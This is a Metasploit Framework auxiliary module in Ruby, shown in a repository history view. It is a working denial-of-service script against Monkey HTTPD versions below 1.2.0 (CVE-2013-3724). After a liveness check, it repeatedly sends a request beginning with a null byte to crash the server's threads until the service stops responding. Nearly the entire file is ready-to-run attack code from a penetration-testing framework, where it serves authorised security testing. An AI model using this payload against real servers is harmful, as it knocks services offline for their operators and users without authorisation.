metasploit-framework/unstable-modules/auxiliary/dos/http/monkey_null.rb

80 lines
1.9 KiB
Ruby
Raw Normal View History

2013-05-24 22:28:50 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2013-06-06 14:41:18 +00:00
include Msf::Exploit::Remote::Tcp
2013-05-24 22:28:50 +00:00
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Monkey HTTPD Null Byte Request',
'Description' => %q{
Sending a request containing null bytes causes a
thread to crash. If you crash all of the threads,
the server becomes useless. Affects versions < 1.2.0.
2013-05-24 22:28:50 +00:00
},
'Author' =>
[
'Doug Prostko <dougtko[at]gmail[dot]com>'
],
'License' => MSF_LICENSE,
'References' =>
[
2013-06-05 17:10:07 +00:00
['CVE', '2013-3724'],
2013-05-24 22:28:50 +00:00
],
2013-06-05 17:09:02 +00:00
'DisclosureDate' => 'May 25 2013'))
2013-05-24 22:28:50 +00:00
register_options(
[
Opt::RPORT(2001),
2013-06-06 14:41:18 +00:00
OptInt.new("TIMEOUT", [ false, "Set timeout for connectivity check", 10 ]),
2013-05-24 22:28:50 +00:00
], self.class)
end
def is_alive
connect
2013-06-06 14:41:18 +00:00
sock.put("GET / HTTP/1.1\r\nHost:foo\r\n\r\n")
if ! sock.get_once(-1, datastore['TIMEOUT'])
raise ::Rex::ConnectionTimeout
2013-05-24 22:28:50 +00:00
end
disconnect
2013-05-24 22:28:50 +00:00
end
def run
loop do
begin
is_alive
2013-05-24 22:28:50 +00:00
connect
print_status("Sending DoS packet to #{rhost}:#{rport}")
2013-06-06 14:41:18 +00:00
sock.put("\x00 / \r\n\r\n")
2013-05-24 22:28:50 +00:00
disconnect
2013-06-07 02:19:42 +00:00
Rex.sleep(1)
2013-05-24 22:28:50 +00:00
rescue ::Rex::ConnectionRefused
print_status("Unable to connect to #{rhost}:#{rport}.")
2013-05-29 15:47:18 +00:00
break
2013-05-24 22:28:50 +00:00
rescue ::Errno::ECONNRESET
print_status("DoS packet successful. #{rhost} not responding.")
break
rescue ::Rex::HostUnreachable
2013-05-24 22:28:50 +00:00
print_status("Couldn't connect to #{rhost}:#{rport}.")
break
2013-05-24 22:28:50 +00:00
rescue ::Timeout::Error, ::Errno::EPIPE
2013-06-05 17:11:16 +00:00
print_status("Timeout error connecting to #{rhost}:#{rport}.")
break
rescue ::Rex::ConnectionTimeout
print_good("Monkey server is down!")
break
ensure
disconnect
2013-05-24 22:28:50 +00:00
end
end
end
end